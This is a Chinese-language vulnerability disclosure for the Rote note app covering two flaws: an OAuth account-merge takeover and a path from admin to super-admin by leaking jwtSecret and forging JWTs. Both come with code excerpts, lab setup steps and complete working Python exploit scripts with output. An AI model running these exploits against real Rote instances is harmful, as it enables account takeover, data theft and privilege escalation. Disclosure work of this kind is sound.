# Rote 漏洞报告 软件名称:Rote 开发者或厂商:Rabithua 代码仓库:https://github.com/Rabithua/Rote ## 1. OAuth 账户合并接口越权绑定他人第三方账号导致账户接管 简要描述:`POST /v2/api/auth/oauth/:provider/bind/merge` 不校验调用者是否拥有目标第三方账号,攻击者可借此把任意已绑定 OAuth 的账户合并进自己的账户,窃取其全部数据并删除该账户。 影响版本:v1.2.0 ~ v2.6.0 前置条件:攻击者拥有任意普通账号,目标账户已绑定 GitHub 或 Apple 账号。 修复:[Rote commit 319b6eef](https://github.com/Rabithua/Rote/commit/319b6eefc76c6731d73e32613c36667c50ce6ac4) ### 漏洞成因 Rote 支持把 GitHub 或 Apple 账号绑定到已有账户。当第三方账号已被其他 Rote 账户绑定时,前端会提示合并账户,用户确认后调用 `POST /v2/api/auth/oauth/:provider/bind/merge`。该接口的 `existingUserId` 与 `providerUserId` 完全来自请求体,相关代码如下: ```ts // server/route/v2/oauth.ts:608-611 commit f7cc56ba4c const user = c.get('user') as User; const body = await c.req.json(); const existingUserId = body.existingUserId; const providerUserId = body[`${providerName}UserId`]; ``` 后续校验只确认这两个参数在数据库中对应一条真实绑定: ```ts // server/route/v2/oauth.ts:637-645 commit f7cc56ba4c // 3. 验证 existingUserId 对应的用户确实绑定了这个 OAuth ID const existingUser = await findUserByOAuthBinding(providerName, providerUserId); if (!existingUser) { throw new Error('Existing user not found or OAuth binding mismatch'); } if (existingUser.id !== existingUserId) { throw new Error(`${providerName} ID mismatch`); } ``` 整条校验链没有验证调用者对该第三方账号的所有权,第三方账号 ID 由攻击者任意指定。校验通过后服务端直接执行合并: ```ts // server/route/v2/oauth.ts:658-659 commit f7cc56ba4c // 6. 执行账户合并(在事务内完成所有操作,包括 OAuth 绑定迁移) const mergeResult = await mergeUserAccounts(existingUserId, user.id); ``` `mergeUserAccounts` 把源账户的笔记、附件、API 密钥、推送订阅与 OAuth 绑定全部转入调用者名下,然后删除源账户: ```ts // server/utils/dbMethods/userAccount.ts:493 commit f7cc56ba4c const deleteResult = await tx.delete(users).where(eq(users.id, sourceUserId)).returning(); ``` 攻击所需的两个 ID 都是公开信息。`existingUserId` 可从公开资料接口获得,GitHub 数字 ID 可从 `https://api.github.com/users/` 获得。 ### 复现环境搭建 用官方 docker-compose 部署: ```bash mkdir rote && cd rote curl -fsSL -o docker-compose.yml \ https://raw.githubusercontent.com/Rabithua/Rote/f7cc56ba4c1d8632c4c4d2d12d6867fd0b4376ec/server/docker-compose.yml cat > .env <<'EOF' POSTGRES_PASSWORD=rotepass VITE_API_BASE=http://127.0.0.1:18000 EOF docker compose up -d ``` 浏览器打开 http://127.0.0.1:18001 按向导完成初始化,创建超级管理员 rootadmin(密码 Admin12345.),注册普通账号 victim 与 attacker(密码均为 Passw0rd12345.)。victim 登录后新建一条私密笔记,内容为 `VICTIM-PRIVATE-NOTE: bank account 6222-0000-1111-2222`: ![victim 的私密笔记](img/1-1-victim-private-note.png) victim 绑定 GitHub 账号 victimgh。实验环境无法连接真实 GitHub 时,直接写入等价的绑定记录,其中 12345 为 victimgh 的 GitHub 数字 ID: ```bash docker compose exec rote-postgres psql -U rote -d rote -c \ "INSERT INTO user_oauth_bindings (userid, provider, \"providerId\", \"providerUsername\") SELECT id, 'github', '12345', 'victimgh' FROM users WHERE username = 'victim';" ``` ### 复现过程 attacker 登录后,从公开资料接口 `GET /v2/api/users/victim` 取得 victim 的 Rote 用户 id,从 `https://api.github.com/users/victimgh` 取得 GitHub 数字 ID。执行以下脚本发起合并: ```python import httpx BASE = "http://127.0.0.1:18000" client = httpx.Client(base_url=BASE, timeout=30) r = client.post("/v2/api/auth/login", json={"username": "attacker", "password": "Passw0rd12345."}) token = r.json()["data"]["accessToken"] headers = {"authorization": f"Bearer {token}"} # victim 的 Rote 用户 id,取自公开资料接口 victim = client.get("/v2/api/users/victim").json()["data"] print("victim id:", victim["id"]) # victim 绑定的 GitHub 数字 ID,取自 https://api.github.com/users/victimgh github_id = "12345" r = client.post( "/v2/api/auth/oauth/github/bind/merge", headers=headers, json={ "existingUserId": victim["id"], "githubUserId": github_id, "githubUsername": "victimgh", }, ) print(r.status_code, r.json()) # 合并后以 attacker 的 token 读取笔记 notes = client.get("/v2/api/notes", headers=headers).json()["data"] for note in notes: print(note["id"], note["content"]) ``` 输出如下: ``` victim id: 91510c52-9062-4416-aacd-cba5396b6df2 200 {'code': 0, 'message': '账户合并成功,github 已绑定', 'data': {'merged': True, 'mergedData': {'notes': 1, 'attachments': 0, 'reactions': 0, 'openKeys': 0, 'subscriptions': 0, 'apnsDevices': 0, 'pushEvents': 0, 'changes': 1, 'aiConversations': 0}}} 9f6c5c7b-0387-4731-b190-5960c558eede VICTIM-PRIVATE-NOTE: bank account 6222-0000-1111-2222 ``` attacker 的账户下已出现 victim 的私密笔记: ![合并后 attacker 名下的 victim 笔记](img/1-2-attacker-owns-victim-note.png) victim 的账户已被删除,原密码无法登录: ![victim 无法登录](img/1-3-victim-login-fails.png) 登录接口返回: ``` {"code":1,"message":"User not found.","data":null} ``` ## 2. 普通管理员可读取并改写 jwtSecret 提权为超级管理员 简要描述:`/v2/api/admin/settings` 允许普通管理员读取和改写包含 `jwtSecret` 在内的安全配置,攻击者可据此伪造超级管理员的 JWT token,把普通管理员账号提权为超级管理员。 影响版本:v1.0.0 ~ v2.6.0 前置条件:攻击者拥有 admin 角色账号。 修复:[Rote commit 319b6eef](https://github.com/Rabithua/Rote/commit/319b6eefc76c6731d73e32613c36667c50ce6ac4) ### 漏洞成因 Rote 的用户角色分 `user`、`moderator`、`admin`、`super_admin` 四级,修改用户角色等操作仅限 `super_admin`。配置接口却只要求 `admin`: ```ts // server/route/v2/admin.ts:95 commit f7cc56ba4c adminRouter.get('/settings', authenticateJWT, requireAdmin, async (c: HonoContext) => { ``` 响应前只对 `ai` 分组脱敏,其余分组原样返回: ```ts // server/route/v2/admin.ts:86-92 commit f7cc56ba4c const sanitizeSettingsForAdmin = (configs: Record) => { if (!configs.ai) return configs; return { ...configs, ai: sanitizeAiConfig(configs.ai), }; }; ``` `security` 分组包含 `jwtSecret`、`jwtRefreshSecret`、`sessionSecret`、OAuth `clientSecret` 等密钥,普通管理员由此可以直接读到签名密钥。 `PUT /v2/api/admin/settings` 同样只要求 `admin`,对 `security` 分组也没有字段白名单,攻击者可以直接改写 `jwtSecret`。超级管理员校验只覆盖 `system` 分组: ```ts // server/route/v2/admin.ts:126-146 commit f7cc56ba4c adminRouter.put('/settings', authenticateJWT, requireAdmin, async (c: HonoContext) => { try { const body = await c.req.json(); const { group } = body as { group: string; config: any }; let { config } = body as { group: string; config: any }; if (!group || !config) { return c.json(createResponse(null, 'Group and config are required'), 400); } // 验证分组是否有效 const validGroups = ['site', 'storage', 'security', 'notification', 'ui', 'system', 'ai']; if (!validGroups.includes(group)) { return c.json(createResponse(null, 'Invalid configuration group'), 400); } // 对于系统配置,只允许超级管理员修改 const user = c.get('user') as any; if (group === 'system' && user?.role !== 'super_admin') { return c.json(createResponse(null, 'Only super admin can modify system configuration'), 403); } ``` Access token 用 `jwtSecret` 做 HS256 签名: ```ts // server/utils/jwt.ts:13-28 commit f7cc56ba4c export async function generateAccessToken(payload: CustomJWTPayload): Promise { // 动态获取配置 const config = getGlobalConfig('security'); if (!config || !config.jwtSecret) { throw new Error('JWT is not configured. Please complete the security configuration first.'); } const secret = new TextEncoder().encode(config.jwtSecret); const expiry = config.jwtAccessExpiry || '7d'; return await new SignJWT(payload) .setProtectedHeader({ alg: 'HS256' }) .setIssuedAt() .setIssuer('rote-app') .setExpirationTime(expiry) .sign(secret); ``` 鉴权中间件验签后直接取 token 中的 `userId` 加载用户。拿到 `jwtSecret` 就能为任意用户签发有效 token,其中也包括超级管理员。 ### 复现环境搭建 用官方 docker-compose 部署: ```bash mkdir rote && cd rote curl -fsSL -o docker-compose.yml \ https://raw.githubusercontent.com/Rabithua/Rote/f7cc56ba4c1d8632c4c4d2d12d6867fd0b4376ec/server/docker-compose.yml cat > .env <<'EOF' POSTGRES_PASSWORD=rotepass VITE_API_BASE=http://127.0.0.1:18000 EOF docker compose up -d ``` 浏览器打开 http://127.0.0.1:18001 按向导完成初始化,创建超级管理员 rootadmin(密码 Admin12345.),注册普通账号 sysadmin(密码 Passw0rd12345.)。管理后台的用户列表不提供角色修改入口,给 sysadmin 授予 admin 角色: ```bash docker compose exec rote-postgres psql -U rote -d rote -c \ "UPDATE users SET role = 'admin' WHERE username = 'sysadmin';" ``` ### 复现过程 sysadmin 登录后可以进入管理后台: ![sysadmin 的管理后台](img/2-1-admin-dashboard.png) 用户列表显示 sysadmin 的角色为 admin: ![提权前的用户列表](img/2-2-user-mgmt-before.png) 执行以下脚本,读取 `jwtSecret`,伪造 rootadmin 的 token,并用它调用仅限 `super_admin` 的角色修改接口: ```python import base64, hashlib, hmac, json, time import httpx BASE = "http://127.0.0.1:18000" client = httpx.Client(base_url=BASE, timeout=30) # admin 账号登录 r = client.post("/v2/api/auth/login", json={"username": "sysadmin", "password": "Passw0rd12345."}) admin_token = r.json()["data"]["accessToken"] admin_headers = {"authorization": f"Bearer {admin_token}"} # 读取 security 配置,其中包含 jwtSecret cfg = client.get("/v2/api/admin/settings", headers=admin_headers, params={"group": "security"}).json()["data"]["config"] print("jwtSecret leaked:", cfg["jwtSecret"]) # 超级管理员的用户 id users = client.get("/v2/api/admin/users", headers=admin_headers).json()["data"]["users"] root = [u for u in users if u["username"] == "rootadmin"][0] me = [u for u in users if u["username"] == "sysadmin"][0] # 用泄露的 jwtSecret 伪造 rootadmin 的 access token def b64(data): return base64.urlsafe_b64encode(data).rstrip(b"=") header = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()) payload = b64(json.dumps({ "userId": root["id"], "username": root["username"], "iat": int(time.time()), "iss": "rote-app", "exp": int(time.time()) + 86400, }, separators=(",", ":")).encode()) sig = b64(hmac.new(cfg["jwtSecret"].encode(), header + b"." + payload, hashlib.sha256).digest()) forged = (header + b"." + payload + b"." + sig).decode() print("forged token accepted:", client.get("/v2/api/admin/settings", headers={"authorization": f"Bearer {forged}"}).status_code) # 用伪造的 token 把 sysadmin 提升为 super_admin r = client.put(f"/v2/api/admin/users/{me['id']}/role", headers={"authorization": f"Bearer {forged}"}, json={"role": "super_admin"}) print("role change:", r.status_code, r.json()["message"]) # 查看 sysadmin 当前角色 print("sysadmin role now:", [u["role"] for u in client.get("/v2/api/admin/users", headers=admin_headers).json()["data"]["users"] if u["username"] == "sysadmin"][0]) ``` 输出如下: ``` jwtSecret leaked: dosFsiV1CopF6jKtoxfaFgwIsFsqeBPgE5pBjQ6uQZ7l8wkxY9dqzN0lwm7oOSmQMoN45VWmrCgY4nuQl2bLsw== forged token accepted: 200 role change: 200 User role updated successfully sysadmin role now: super_admin ``` 回到管理后台刷新,sysadmin 的角色已变为 super_admin: ![提权后的用户列表](img/2-3-user-mgmt-after.png)